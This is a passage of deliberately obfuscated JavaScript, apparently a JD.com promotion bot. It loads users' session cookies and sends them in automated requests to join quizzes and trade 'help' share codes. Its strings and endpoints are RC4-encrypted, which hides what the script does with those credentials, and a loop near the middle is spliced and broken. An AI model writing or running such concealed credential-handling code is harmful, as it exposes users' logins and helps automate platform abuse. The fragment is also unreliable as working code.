nkp','RxHDqi1occKx5b2D5aeH44Cf5LqA5LiI6LeC5Y6J','MsKmwpxhNFnCliw=','YMOFLBHDmsOmwqLCgQ==','5YuV5Yq35qis5ZyoB1MnO8OewozCpMOJbAM=','Z8KcN2Bp','w45iw7pDw7U=','SMKPwrPCgxYK','X8K/w5/DkA==','wrhAwq1HLwbDh8OdwpDDk8OCVcO4wpLDtMK1wo14antnw4LCmsKXC8OBwr3CqAJbDwrDhg==','OsKbVBzDpx1XwpzCgsOyM8K0d8KTwr/DoXk=','RjHDr8OOwqI=','RcOnwp5HP8KIwpk2HMOR','w61FS8KlSlfDmio3woVjw6ZXwp1SSSbCk8KFw5E5LmjDk1jDjFRZRcO5w6rDisOm','ScO8wqXDgDhleMKKw4RqLjg=','NTrDpcOUw6TCh8Onw6fCsMKEwpTChMOFYMOswrbDk3Q2JUlUGnvCpMKdUTdHw4QbAklkwq4=','wo9pwpbCmCnCrn4OAcO8w57CgnVSwpg2w6jCjsKVw4x1c0nCkGHCjBwwVsK2w5vCu2fCiAoNG0bDvFDDmsKpAcOdecKjf8Krw4QfFcOyS8KkdD1Gw67CtSJEJ8OlPF7DsyRUMcOmw4A4GWvDpXjCusKbw4PDgcOKw4sNwqDCt8K/CwV4woYVwoV7SEzDviwmK8OeU8KNwrHCiMO+JsKjwqscw5VBwqQ8QcKzw4LCqcKsK8OuQsKzMRcFwozDjynCuQLCmG4sw4XDtGAIEC3Dr13DkMOEw7lAwpXDpsKfXigmE1d5bMKrwqLCswtAwpcLw77CiEzDscKPXsODw5wSw4fDhVrCswV4LsOpeMOCD8OscGkWwpPCjsOSwqvCicOFcQ7Dk8KRw4xUc3bDjh4qwr1LUE9RFyHDssOaw7jCpsKTwoPCl8OxEcKeG8Otw5t/wqkXT3VcwoMWw50nPGnCnMKLecONbEfCksKAwqYKScKvw63Ch29ge03DssKGN8K8V8KRbMK9YDRed2wyw4jDucOwczNRD8Oiw4PDn8Ocw4fCoUnDvFbDvQ9ZYgRkwpoYw4FzGcONwovClHgTfcKmwr3Do8KIwrrCsMOWwovCgUwow43CssOhw6cHwq5vXDzCtSAQw47CtX8mR8OsOMOGwpdbKcKww74nwo4MOcKIcU5YdF7DjyQVOsO4w5BrOsKOwpB7FMK5wojDrRcXCcOMwo3Dl1V+SCtgHxk=','U8Kkw4XDhQdVDMO4EMKnwrsPZcKbY8O7GMObw55Sw53DhmoI','DcKubjg=','w4DDjsOqJFo=','wqFnVcKHw5M=','woJFw7k4wp4=','wqAOfcKBwp4=','FFh5D15DIj7CkMOIw73CjnA4w5fDthtkwroAAx/Dr3/DrMOiTm0Xw5rDusOlw6pMR8KbJ0nDlcKFcMKMC8KPwqIfwoZifE7DiMOPBDzCjjQUXMOYwo4sUj3CjxNUwpMZOkPCjy/Ds8KPOgTCoWxxw7rCpTBUwolTbMOfwoLDpcKVw71rw5RUWzM1TcKNYxbDkMKVCsKSwolSwoLCh8ONwqZIw5A3woBTw5gCwr5vb8KewoLDkEzCg8OCNMOqwrUdO8Kjw63ClsKwXiALbgXDqzvCucK4wr3CkBfDgyLDmGUzd3oDFcKawop3w4UqAlzDhTp7I8OATnvCscOKacKAw4sawpHDvhDDkMOKw7DCpBdnw7krG8K3w6TCuxzCusOUQDTDmgASM8K7ZMO6WcOaw6p8w7tHBj7Du8O5w4HCt3bDtcOQPA3CscOCw7pyK0fDsUwkO3QldgPDk8KuXCnCp8Kxw7jDiVJ8w7sYI8KgB2oKFsO1wqAJw6fChwYcw7/CsSQNZ00VXMKlYzYOHwrCnW7DocKWwprCtVTDscOmw7XCtMO+XSHDhcO3wrBZLcOFwr8/worClGnCjMObO8Klw6bCmcO+w6HCuSgCw7/DscK+w6bDlW5OA3zDnsOBKsOjPsOFwrXChi9Tw5k5FmPDvnXDkg==','wo1Jwr57Mw==','wr1Zf8Oxw4zDkU4fJMO8GsOUw5tiwoNWw4pvPlLDk8K4TlR8Sn/CsMKYccOkwqPCrA==','wrtTZsOtwonCkksOK8O/FcKPw5Q9w4xawpQ=','w53CumnDuUQ=','QMKrFx9hF0nDixPCuAvCpA==','eQ5Mc8OcHFfChExMfxN6Ug3CmBUgJyfDrsOjGMO7w7R/wqXDnHDCpCoow7XCr8Oow7tiATLDimfCghRjdcKseAPDnMO6bXjDuUbCg8ORw71aBMKqPGDDpsKIwpAPw7l6w7oDw6F6w6bCkMO0asOOQ8O/IBIjfcKOIsKfc2TCtgrChcOmwrQAw4/CkS9cwrvDhW55w79Nwp8HYysdMcO3wo/DjCg3NRjDoSRVwovCuMOFwokSQnfCqsOlw4zCt8KRLcOgwqzCicKywo3CvgTDr8Odwrt3w5rCtsOSTsK5QsORW8ORZQ7Do8KQOcOSwqvCigZiw41JIMKDXsK4w6JYwo1zDMO/wp7DtMKJw43Dp8KkGUjDkGtnU1zCm8OpAMOAwqdUw5ENZ8OtG8K9MsKewrtNPjjCvg9hwrtZC8KawrrCp8KHecOew5QdwqPDi2HDr8KZw6h2czvDsUprwr7ClMKPw5guw7pPwojCvVnCgGbDoSHDsMKyNsKGw7HDosKJwpNxwpQAw5LCtyjCkkjCnsK0P8KbaF4wwq8nSEMhLsOIeGLDpFHChsOfB2TDqAjDo8KLwpLDg8KjFXxvwp1Vwo0vNglHwpzDpEjDqHbChhHCnhtUwobCmE7DuTcPw60pwpDDnsOpw6bCjmkLNhPDv8OtFcK+cCU8wpI=','d3nCvDBww64PwrRDOlLDun8DUXnDoMODOmXDsWbCll3CiBIMw7diw5bCo8OsBMOiwqQuNMOUw4TDqwIhaikbw6smwqLCj8KKFBNqwqt9TcOPw6fCjsKgwobCqMONwqvCuhTCm8Ouw7jDp3RuEjbDqcKZZMO7A8O9w4bCqF1kwrAlw53Csj3Cn0tVwrdIwofCjxPCvcOJVQcaasOmWADDgwrCqcOaTMOuLsKZIcOeK8KWfivDpjfDv8OJXcOVw6rCngEFUCDCvcKlLsKHw6XCjGgYw7jDullxwoXDrWhMVsOJw4bDm8OyI27DvMOMwpHCtjtDGsOJwodZw5bCtlzCssOFUDEyIcKMw5Ehw4/DgsKCwq4Qw5LCjcOCHjvCoMOcw4LDnsOJcgnDviDCt0fDmwJ2wovCn3zCgn0sBMOaDQYzQhfCkcOfw4fCqcKDw7jCoEnDrcKsw7p4PMOBw7dCw7DDkUHDk8Kawp0/w7jDtEfDn0nDucK/X2hBfcO1U8K0w69tS1otwr3CmQpuw4DDszhVwpk2f1/CrjvClGvDki/Ck8KXTMKAwrk1bR/CsgHDncKlVsKVbi8Nw6rDusO4w7XCmkXDpivCkcOYDMKKwrM1wrQCW8OZGXsFUsKMWsOJa8Oqw41ewp8HUMK/eRDDi8K/bAcew4DCpEp1RgPDoMKLw5dHwro2w7IyQsOgwo3Ci8KFRsK8wp45cCbCo8KFwrrCucOpwqrCmcOBwoARw53CnzXDkBfCo8KeJQ==','UivCuMOBwp4=','VUfCpAJt','cBfDt0LDkg==','WMOJwqpCbgM2H21j','w7dsw5lFw6Q=','w4UAw4M/fw==','w5XDiMOaFng=','R8OZPA3DsA==','R8OXJwfDu8Oq','wp9ZQw==','ScO8wrzChzF2ccKGwoNnIHjDscONUARaF8OrEmV8FsKMDGABK8KywoDDtsOew5rDvsKtwrNIZsKpC8OqwozDiMOXal3DoMO8w6g2wqHDscKVw6jDoXUnw4zCuWg/w4jCqXMqccOrHA==','f8ONHw3Cu1R+wpjClMOuO8KudcKdwqXCoSRDw5JEw5UdwrfCk0jCrMKaw4LDhMKBFA5gwq3CiQo1','O8K9wqhzTcOsw5g=','wrRPwp7CoDY=','w6NmWcKZcA==','wpVswoXCmzw=','MSHDtg==','w4DDhcOJNg==','S8OjwqjCiw==','w5TDjcOZG1U=','O8K9wqhqS8Ovw4nCvg==','RsK+CnVtTUY=','w4Y2wr8=','w4Bww6k=','FwbDl8Ohw5Q=','w4Y8wrbDoMKmFQ==','IsK3w7rCmw==','wo9hR8Oaw5M=','wqUZfsKkwrQ=','5LuH5Ym/56KS77+1','Y8KqC3d5','wqpKwpJYCg==','cApIasOLGxvDg0FMbVMmDEzCk0JleSnDs8OmG8O8w5J1wrbDkjbCryN2w7/Cr8Orwos6FCvDm0jCkxRtfMO5JwXCicO5I27Cvl7CucOLw5JWF8KzGmfDiMOSw6dHwpNuw4Quwo8gw4bCucOEDsOmTcOtazU1ccOb','wplmw4QlwqA=','woliwpDCrSvDpw==','acOhGcOh','w5DCksKhIio=','JsOpH8KewqA=','GRoGwqlk','wpdrwr/CmA4=','w5LCpMKMGgc=','w7DDjMOMJ24=','EsO2AQ==','wqxIfcOuw4A=','woliwpA=','wrpdwplnEg==','McKOWg==','wo9OTsOkw7Q=','wrhIe8O8','wrlRGSd7wqTDjg==','LTvDosOM','UcOXPQI=','woLDsT5Ow4DCgcOH','CcO4D8Kd','w415CmfDig==','w5Row6lFwpcV','FcO+F8KzwqM=','GMK9wqhgQw==','c8KRw6XDjRk=','WcOZLg==','w4/DucOJA04=','f8KuwqhmwrE=','U8K6EFVjVA==','5Ymu5Yuy5oi35YmYw4Q=','c8OqC8OlDsOcC8KQUVNnRDXDkmvCvBxmRmYSASfDpMKpwrfDh2ghwoQ7SsOOw4kJBsKaCynCgsKIw6LDn8Kxw7hrwqxmwp3DisOLW8OZw77Du8Ozw49yw5HDqcKpKwPClVE2TCLDmcOww5BHwp/DpMKew6k5XlnChMKFZsOVwrtTwrbDn2Ibfh7Cjm7CicOmw5rDrWQbW1oMwrtdNcKjEsOww5MEw7jCgsKww4XCvMKSasKtw5/DsBXCuw1dQw1MUMObw7NDQFIhOz3DqsOOfCARwqPDucOAI8OAw6LCjsOHBV7DvkJaw4xkwqvCkhpNZwRLdMObPGDCmQhuelQRwoLCtMOIwpvDtgMJVXHCvAQ9wrZfccKOG8OJP8KkP8KfwqlHXMKbUMOleMKBwrHDlx9ZwqbCqGFlwoUkwq7DuEnCqk44J8Ouw4ZEw6seaErCojDCvQbCshrCq8OAFMOdw6zDhj3DvgEQwo0iwqBTXR7CuCjDmsK9aH5qdgJ7fsK4wrHDj8OPwovDscKJw4gkwqjDmMOFBDHDh8KSw4YEwol7PVrCvsKFZW7CsSPCu8KcLxLDi8Kxw4DDu8ONw6ReGcKMCznCusOeOxjCr8KSw7XDlinDjsOmwrLCtMOIwpDCvMKff8O/w68yCMKNMHPCpUcfH8O5D8KXGEc3wqIYw6fDn3PCucKGwr7Co8K/dMO7U8Ovwot2F1XDgiN0wrMGwpjCrldywoQ6TcKOLMOydcO3w4c=','wpRmwp/CgSA=','YsOvwrlGEQ==','w4M2wrbCoVTCiTs=','woB3wrTCihg=','PcKXwqV/XA==','bB3Ch8Oqwok=','wpViwqEiwr4=','NivDtMOUwrrDnMKkwqHCosKP','eSjCpsOuwoY=','w4TCnjPDimc=','AC9qZMKv','w70Xw4cH','w47CkMKROz4=','wqdBw4MGwpk=','PMKRTQDCol5Swo3CjcOxPMOvasKSw6jDtHwPw4RCwogXw6/Cg0nCs8K+w4LDlMKZFRkm','woBdw43DuMK/wqBkw6ETa8KDaQ==','wptCUMKEw7BCPlTDlDfDjcOSwqTCpy97PsOiT3nCrB7Di0LClsKJZcKxw6nCgMOpwo0fwrE2','b8KtwoLClBA=','FRHDh8KMKA==','w5LCnsKTFQ0=','jsjUZiami.copmkt.vpp6hOzYPDh=='];(function(_0x225fe6,_0x2dd62f,_0x14d30d){var _0x18cc51=function(_0x240e4d,_0x3621f2,_0x3852ad,_0x9852de,_0x367f31){_0x3621f2=_0x3621f2>>0x8,_0x367f31='po';var _0x4beed1='shift',_0x5c61f3='push';if(_0x3621f2<_0x240e4d){while(--_0x240e4d){_0x9852de=_0x225fe6[_0x4beed1]();if(_0x3621f2===_0x240e4d){_0x3621f2=_0x9852de;_0x3852ad=_0x225fe6[_0x367f31+'p']();}else if(_0x3621f2&&_0x3852ad['replace'](/[UZpktpphOzYPDh=]/g,'')===_0x3621f2){_0x225fe6[_0x5c61f3](_0x9852de);}}_0x225fe6[_0x5c61f3](_0x225fe6[_0x4beed1]());}return 0xb11ce;};return _0x18cc51(++_0x2dd62f,_0x14d30d)>>_0x2dd62f^_0x14d30d;}(_0x5b23,0x14b,0x14b00));var _0x49e1=function(_0x3310a4,_0x2b3c7a){_0x3310a4=~~'0x'['concat'](_0x3310a4);var _0x1f902d=_0x5b23[_0x3310a4];if(_0x49e1['IBpvlB']===undefined){(function(){var _0xc99ce9=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4a4199='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xc99ce9['atob']||(_0xc99ce9['atob']=function(_0x150bf3){var _0x28b5e8=String(_0x150bf3)['replace'](/=+$/,'');for(var _0x2ddafd=0x0,_0x59161c,_0x4312e9,_0x333e02=0x0,_0x128bef='';_0x4312e9=_0x28b5e8['charAt'](_0x333e02++);~_0x4312e9&&(_0x59161c=_0x2ddafd%0x4?_0x59161c*0x40+_0x4312e9:_0x4312e9,_0x2ddafd++%0x4)?_0x128bef+=String['fromCharCode'](0xff&_0x59161c>>(-0x2*_0x2ddafd&0x6)):0x0){_0x4312e9=_0x4a4199['indexOf'](_0x4312e9);}return _0x128bef;});}());var _0x2c1ac0=function(_0x58bbe6,_0x2b3c7a){var _0x3adb49=[],_0x3ac709=0x0,_0x558257,_0x27cb4a='',_0x40bc3e='';_0x58bbe6=atob(_0x58bbe6);for(var _0x1512d2=0x0,_0xd7340=_0x58bbe6['length'];_0x1512d2<_0xd7340;_0x1512d2++){_0x40bc3e+='%'+('00'+_0x58bbe6['charCodeAt'](_0x1512d2)['toString'](0x10))['slice'](-0x2);}_0x58bbe6=decodeURIComponent(_0x40bc3e);for(var _0x435179=0x0;_0x435179<0x100;_0x435179++){_0x3adb49[_0x435179]=_0x435179;}for(_0x435179=0x0;_0x435179<0x100;_0x435179++){_0x3ac709=(_0x3ac709+_0x3adb49[_0x435179]+_0x2b3c7a['charCodeAt'](_0x435179%_0x2b3c7a['length']))%0x100;_0x558257=_0x3adb49[_0x435179];_0x3adb49[_0x435179]=_0x3adb49[_0x3ac709];_0x3adb49[_0x3ac709]=_0x558257;}_0x435179=0x0;_0x3ac709=0x0;for(var _0x214dd4=0x0;_0x214dd4<_0x58bbe6['length'];_0x214dd4++){_0x435179=(_0x435179+0x1)%0x100;_0x3ac709=(_0x3ac709+_0x3adb49[_0x435179])%0x100;_0x558257=_0x3adb49[_0x435179];_0x3adb49[_0x435179]=_0x3adb49[_0x3ac709];_0x3adb49[_0x3ac709]=_0x558257;_0x27cb4a+=String['fromCharCode'](_0x58bbe6['charCodeAt'](_0x214dd4)^_0x3adb49[(_0x3adb49[_0x435179]+_0x3adb49[_0x3ac709])%0x100]);}return _0x27cb4a;};_0x49e1['XOMdHZ']=_0x2c1ac0;_0x49e1['AdbmAC']={};_0x49e1['IBpvlB']=!![];}var _0x2f544a=_0x49e1['AdbmAC'][_0x3310a4];if(_0x2f544a===undefined){if(_0x49e1['BYxmZJ']===undefined){_0x49e1['BYxmZJ']=!![];}_0x1f902d=_0x49e1['XOMdHZ'](_0x1f902d,_0x2b3c7a);_0x49e1['AdbmAC'][_0x3310a4]=_0x1f902d;}else{_0x1f902d=_0x2f544a;}return _0x1f902d;};const notify=$[_0x49e1('0','cu4Y')]()?require(_0x49e1('1','osi%')):'';cookiesArr=[];CodeArr=[];cookie='';var taskTypeArr=new Array();var taskIdArr=new Array();var brandlistArr=[],shareidArr=[];var taskid,tasktype;const jdCookieNode=$[_0x49e1('2','ecwQ')]()?require(_0x49e1('3','0h0g')):'';cookiesArr=[$['getdata'](_0x49e1('4','Bg*j')),$['getdata'](_0x49e1('5','LoOu')),...jsonParse($[_0x49e1('6','os^Y')](_0x49e1('7','osi%'))||'[]')[_0x49e1('8','ES%V')](_0x543f3b=>_0x543f3b[_0x49e1('9','WZ^L')])]['filter'](_0x516b99=>!!_0x516b99);let tz=$[_0x49e1('a','5nIZ')]('tz')||'1';const invite=0x1;const logs=0x0;var hour='';var minute='';if($['isNode']()){hour=new Date(new Date()[_0x49e1('b',']@jd')]()+0x8*0x3c*0x3c*0x3e8)['getHours']();minute=new Date(new Date()[_0x49e1('c','Bg*j')]()+0x8*0x3c*0x3c*0x3e8)[_0x49e1('d','sJC]')]();}else{hour=new Date()[_0x49e1('e','Bg*j')]();minute=new Date()['getMinutes']();}if($['isNode']()){Object['keys'](jdCookieNode)[_0x49e1('f','nYN[')](_0x148b0a=>{cookiesArr[_0x49e1('10','WZ^L')](jdCookieNode[_0x148b0a]);});if(process[_0x49e1('11','os^Y')]['JD_DEBUG']&&process[_0x49e1('12','B46s')]['JD_DEBUG']===_0x49e1('13','!Y1m'))console['log']=()=>{};}else{cookiesArr=[$['getdata'](_0x49e1('14','P5ZW')),$[_0x49e1('15','VRys')](_0x49e1('16','VRys')),...$[_0x49e1('17','9qHj')]($[_0x49e1('18','LoOu')](_0x49e1('19','9gIW'))||'[]')[_0x49e1('1a','sJC]')](_0x2ac0eb=>_0x2ac0eb[_0x49e1('1b','lKzt')])]['filter'](_0x3afdc9=>!!_0x3afdc9);}!(async()=>{var _0x263d54={'TKQbA':function(_0x28a4dc,_0x5d2f28){return _0x28a4dc!==_0x5d2f28;},'kxZpj':_0x49e1('1c','WZ^L'),'nmkxk':'【提示】请先获取cookie\x0a直接使用NobyDa的京东签到获取','HSjZu':_0x49e1('1d','5nIZ'),'wRjBK':function(_0x9f513f,_0x350620){return _0x9f513f>=_0x350620;},'ESezO':_0x49e1('1e','osi%'),'YvNPS':'PZgto','bcJmH':_0x49e1('1f','9qHj'),'ZchJH':function(_0x4661d9,_0x20a376){return _0x4661d9(_0x20a376);},'laMXN':function(_0x1267c0,_0x5ae1bd){return _0x1267c0+_0x5ae1bd;},'KRFTR':function(_0x2620e8){return _0x2620e8();},'eNLNR':function(_0x41f91d){return _0x41f91d();},'wQBeu':function(_0x58c2f2){return _0x58c2f2();},'yEgkH':function(_0x1d7b5b){return _0x1d7b5b();},'FGIQe':function(_0x5aac29){return _0x5aac29();},'kOdDU':function(_0x42322c,_0x4800b5){return _0x42322c(_0x4800b5);}};if(!cookiesArr[0x0]){if(_0x263d54[_0x49e1('20','5ix!')](_0x263d54[_0x49e1('21','9qHj')],_0x263d54[_0x49e1('22','0h0g')])){cookiesArr[_0x49e1('23','5v)#')](jdCookieNode[item]);}else{$[_0x49e1('24','9gIW')]($[_0x49e1('25','3@lB')],_0x263d54[_0x49e1('26','CtxQ')],_0x263d54[_0x49e1('27','Bg*j')],{'open-url':_0x263d54['HSjZu']});return;}}if(_0x263d54[_0x49e1('28','WZ^L')](new Date()[_0x49e1('29','CtxQ')](),0x12)){$[_0x49e1('2a','B46s')]($['name'],_0x263d54[_0x49e1('2b','Sizb')]);return;}for(let _0x18b49d=0x0;_0x18b49d$[_0x49e1('5e','0h0g')](_0x58c7c1))['finally'](()=>$[_0x49e1('5f','c1I1')]());function PostRequest(_0x5b2a56){var _0x57a540={'Nwowr':_0x49e1('60','Ur#%'),'cdGwD':_0x49e1('61','lKzt'),'RQqsP':_0x49e1('62','Sizb'),'mOuyN':_0x49e1('63','9^M$'),'ggZFP':_0x49e1('64','WZ^L'),'XsQxV':_0x49e1('65','oNuW'),'LxJOo':_0x49e1('66','^fE*'),'TycPu':_0x49e1('67','osi%')};const _0x5eedef=_0x49e1('68','c1I1');const _0x4cbffc=_0x49e1('69','lKzt');const _0x44bbf3={'Accept':_0x57a540['Nwowr'],'Accept-Encoding':_0x57a540[_0x49e1('6a','g85[')],'Accept-Language':_0x57a540[_0x49e1('6b','#6v6')],'Connection':_0x57a540[_0x49e1('6c','9gIW')],'Content-Type':_0x57a540[_0x49e1('6d','Gyql')],'Cookie':cookie,'Host':_0x57a540['XsQxV'],'Origin':_0x57a540['LxJOo'],'Referer':_0x49e1('6e','pUel'),'User-Agent':_0x57a540[_0x49e1('6f','Ur#%')]};return{'url':_0x5eedef,'method':_0x4cbffc,'headers':_0x44bbf3,'body':_0x5b2a56};}function GetRequest(){var _0x357790={'nrzlR':_0x49e1('70','CtxQ'),'HZyBm':_0x49e1('71','CtxQ'),'hdsrX':_0x49e1('72','G^pB'),'fTfDi':'application/x-www-form-urlencoded','ZoWey':_0x49e1('73',')GaO'),'ErybC':_0x49e1('66','^fE*'),'HxwLn':_0x49e1('74','3@lB'),'Qnnxq':_0x49e1('75','kA#Y')};const _0x4acb2f='https://api.m.jd.com/api';const _0x23c200='GET';const _0x357de8={'Accept':_0x357790[_0x49e1('76','Sizb')],'Accept-Encoding':_0x357790[_0x49e1('77','kA#Y')],'Accept-Language':_0x357790[_0x49e1('78','h90t')],'Connection':_0x49e1('79','k$Vn'),'Content-Type':_0x357790['fTfDi'],'Cookie':cookie,'Host':_0x357790[_0x49e1('7a','!Y1m')],'Origin':_0x357790['ErybC'],'Referer':_0x357790[_0x49e1('7b','3YW(')],'User-Agent':_0x357790['Qnnxq']};return{'url':_0x4acb2f,'method':_0x23c200,'headers':_0x357de8};}async function quiz(){var _0x187399={'iPebY':function(_0x2fbc6e,_0x566947){return _0x2fbc6e+_0x566947;},'QBiHo':function(_0x28fca7,_0x165bb8){return _0x28fca7+_0x165bb8;},'oSbPS':'\x2010:00\x20\x0a','vbwEf':function(_0x375ab3,_0xb7d842){return _0x375ab3%_0xb7d842;}};var _0x41de5c=_0x187399[_0x49e1('7c','g85[')](Math[_0x49e1('7d','VRys')](Math[_0x49e1('7e','VRys')]()*0xa),0x2)==0x0?'A':'B';$[_0x49e1('7f','#6v6')](currentdate);const _0x4c216b=_0x49e1('80','oNuW')+currentdate+'\x22,\x22answerCode\x22:\x22'+_0x41de5c+_0x49e1('81','lKzt')+new Date()[_0x49e1('82','0!!V')]()+'&loginType=2';const _0x5e7dd8=PostRequest(_0x4c216b);return new Promise(_0x46b3f6=>{var _0x10ae7e={'NAMOb':function(_0x522d01,_0x1d7d1c){return _0x522d01+_0x1d7d1c;},'wgtHK':function(_0x32a492,_0x5d2479){return _0x187399['iPebY'](_0x32a492,_0x5d2479);},'EfySf':function(_0x7a558c,_0x2048ff){return _0x187399[_0x49e1('83','osi%')](_0x7a558c,_0x2048ff);},'jzXsj':_0x187399[_0x49e1('84','WZ^L')]};$['post'](_0x5e7dd8,async(_0x3414a2,_0x53c368,_0x444945)=>{try{const _0x5049d9=JSON[_0x49e1('85','osi%')](_0x444945);$[_0x49e1('86','^fE*')](_0x444945);if(_0x5049d9&&_0x5049d9[_0x49e1('87','g85[')]&&_0x5049d9[_0x49e1('88','oNuW')]==0xc8){console[_0x49e1('7f','#6v6')](_0x10ae7e['NAMOb'](_0x10ae7e[_0x49e1('89','g85[')]('\x0a参与竞猜成功,开奖时间为:',_0x10ae7e['wgtHK'](_0x10ae7e['EfySf'](new Date()[_0x49e1('8a','0!!V')](),0x1)+'月'+_0x10ae7e['EfySf'](new Date()[_0x49e1('8b',')GaO')](),0x1),'日')),_0x10ae7e['jzXsj']));await $['wait'](0x1f40);}else{$[_0x49e1('8c','P5ZW')](_0x5049d9[_0x49e1('8d','!Y1m')]+'\x0a');}}catch(_0x2f8c89){$['logErr'](_0x2f8c89,_0x53c368);}finally{_0x46b3f6();}});});}async function control(){var _0xa9de08={'mTSHV':function(_0x51ab18,_0x2c9bfe){return _0x51ab18<_0x2c9bfe;},'JHFEC':function(_0x46292f,_0x172a0d){return _0x46292f(_0x172a0d);}};for(let _0x4d1b94=0x0;_0xa9de08['mTSHV'](_0x4d1b94,_0xa9de08[_0x49e1('8e','^fE*')](distinct,shareidArr)[_0x49e1('8f','P5ZW')]);_0x4d1b94++){helpcode=shareidArr[_0x4d1b94];await dosupport();await $[_0x49e1('90',']@jd')](0xfa0);}}async function getshareid(){var _0x2dd5f7={'rfHpW':function(_0x2f4ff0,_0x569a38){return _0x2f4ff0===_0x569a38;},'XpywT':_0x49e1('91','CtxQ'),'Sfatp':_0x49e1('92','Gyql'),'cmDLT':function(_0x17a812,_0x393e93){return _0x17a812==_0x393e93;},'SgAyQ':function(_0x301958,_0x51f788){return _0x301958+_0x51f788;},'iqZBs':_0x49e1('93',']@jd'),'DetGg':'kgqZW','HATxm':function(_0x9f491b){return _0x9f491b();},'gsAJc':function(_0x98101c,_0x50d4bf){return _0x98101c+_0x50d4bf;},'zfAiE':function(_0x27d81f,_0x4824a4){return _0x27d81f*_0x4824a4;},'vlHdp':_0x49e1('94',')GaO'),'szOsL':function(_0x5d1044,_0x958917){return _0x5d1044(_0x958917);}};const _0x2dd40d=_0x2dd5f7[_0x49e1('95','Ur#%')](PostRequest,_0x49e1('96','3@lB')+new Date()['getTime']()+'&loginType=2');return new Promise(_0x1fe370=>{var _0x35a18c={'lSdPP':function(_0x34e782,_0x484584){return _0x2dd5f7['gsAJc'](_0x34e782,_0x484584);},'cpekt':function(_0x3a000d,_0x11e021){return _0x2dd5f7['zfAiE'](_0x3a000d,_0x11e021);}};if(_0x2dd5f7['rfHpW'](_0x2dd5f7[_0x49e1('97','9gIW')],'IWwGJ')){$[_0x49e1('98','osi%')](e,response);}else{$[_0x49e1('99','(2qs')](_0x2dd40d,async(_0x4b1058,_0x2d3212,_0x1f0e4e)=>{if(_0x2dd5f7[_0x49e1('9a','cu4Y')](_0x2dd5f7[_0x49e1('9b','sJC]')],_0x49e1('9c','N@4T'))){try{if(_0x2dd5f7[_0x49e1('9d','osi%')](_0x49e1('9e','cu4Y'),_0x2dd5f7[_0x49e1('9f','g85[')])){$[_0x49e1('a0','sJC]')](message);}else{const _0x2de4ea=JSON[_0x49e1('a1','CtxQ')](_0x1f0e4e);if(logs)$[_0x49e1('a2','osi%')](_0x1f0e4e);if(_0x2de4ea&&_0x2de4ea['code']&&_0x2dd5f7[_0x49e1('a3','Ur#%')](_0x2de4ea['code'],0xc8)){$[_0x49e1('a4','lKzt')](_0x2dd5f7[_0x49e1('a5','CtxQ')](_0x2dd5f7['iqZBs'],_0x2de4ea[_0x49e1('a6','CtxQ')][_0x49e1('a7','5ix!')])+'\x0a');shareidArr[_0x49e1('a8','^fE*')](_0x2de4ea[_0x49e1('a9','VRys')][_0x49e1('aa','B46s')]);await $[_0x49e1('ab','sJC]')](0x7d0);}else{$['log'](_0x2dd5f7[_0x49e1('ac','Bg*j')]('😫',_0x2de4ea['msg'])+'\x0a');}}}catch(_0x193af0){$[_0x49e1('ad','omiL')](_0x193af0,_0x2d3212);}finally{if(_0x49e1('ae','sJC]')===_0x2dd5f7[_0x49e1('af','0!!V')]){_0x2dd5f7[_0x49e1('b0','c1I1')](_0x1fe370);}else{$[_0x49e1('b1','VRys')](message);}}}else{var _0x441986=_0x35a18c[_0x49e1('b2','g85[')](~~_0x35a18c[_0x49e1('b3','LoOu')](Math[_0x49e1('b4',')GaO')](),count),i);newsharecodes[i]=arr[_0x441986];arr[_0x441986]=arr[i];count--;}});}});}async function dosupport(_0x2a0d96){var _0x2dc97e={'ezCbA':function(_0x5c8fa1,_0x3b46ca){return _0x5c8fa1+_0x3b46ca;},'aOyXx':_0x49e1('b5','Gyql'),'PDEGE':'gzip,\x20deflate,\x20br','EqdCJ':_0x49e1('b6','(2qs'),'XBYJQ':function(_0x2dc110,_0x518612){return _0x2dc110!==_0x518612;},'zSFGa':'LMaZL','xaDIl':function(_0x51c924,_0x41b58d){return _0x51c924==_0x41b58d;},'cLwPM':function(_0x5c8d6a,_0x700151){return _0x5c8d6a===_0x700151;},'XLjkt':_0x49e1('b7','osi%'),'vYjmM':_0x49e1('b8','k$Vn'),'PzPOq':function(_0x11ef79,_0x5af614){return _0x11ef79(_0x5af614);}};const _0x988094='appid=china-joy&functionId=champion_game_prod&body=%7B%22shareId%22%3A%22'+_0x2a0d96+'%22%2C%22apiMapping%22%3A%22%2Fapi%2FdoSupport%22%7D&t='+new Date()[_0x49e1('b9','92v[')]()+'&loginType=2';const _0x1fd25b=_0x2dc97e['PzPOq'](PostRequest,_0x988094);return new Promise(_0x526e48=>{var _0x580316={'pjzGp':function(_0x5b69f8,_0x16fdfb){return _0x2dc97e[_0x49e1('ba','osi%')](_0x5b69f8,_0x16fdfb);},'ZdtDY':_0x2dc97e[_0x49e1('bb','0!!V')],'ldxiC':_0x2dc97e[_0x49e1('bc','Sizb')],'HKOGI':_0x49e1('bd','9gIW'),'wgEWz':_0x49e1('be','^fE*'),'KMVRt':_0x2dc97e[_0x49e1('bf','Sizb')],'XbOmm':function(_0xc66292,_0x29ec63){return _0x2dc97e['XBYJQ'](_0xc66292,_0x29ec63);},'GYcet':_0x2dc97e['zSFGa'],'GwNMP':function(_0x11a4dc,_0x31fcdd){return _0x2dc97e['xaDIl'](_0x11a4dc,_0x31fcdd);},'cffvh':'😫助力失败,不能助力自己\x0a','evxuU':function(_0x14b079,_0x5bf9c0){return _0x2dc97e[_0x49e1('c0','G^pB')](_0x14b079,_0x5bf9c0);},'wIHuQ':_0x2dc97e['XLjkt'],'ebntE':_0x2dc97e[_0x49e1('c1','6xw5')],'HWXRi':function(_0x39363e){return _0x39363e();}};$[_0x49e1('c2','3YW(')](_0x1fd25b,async(_0x4591cc,_0x1b3a69,_0x35a582)=>{var 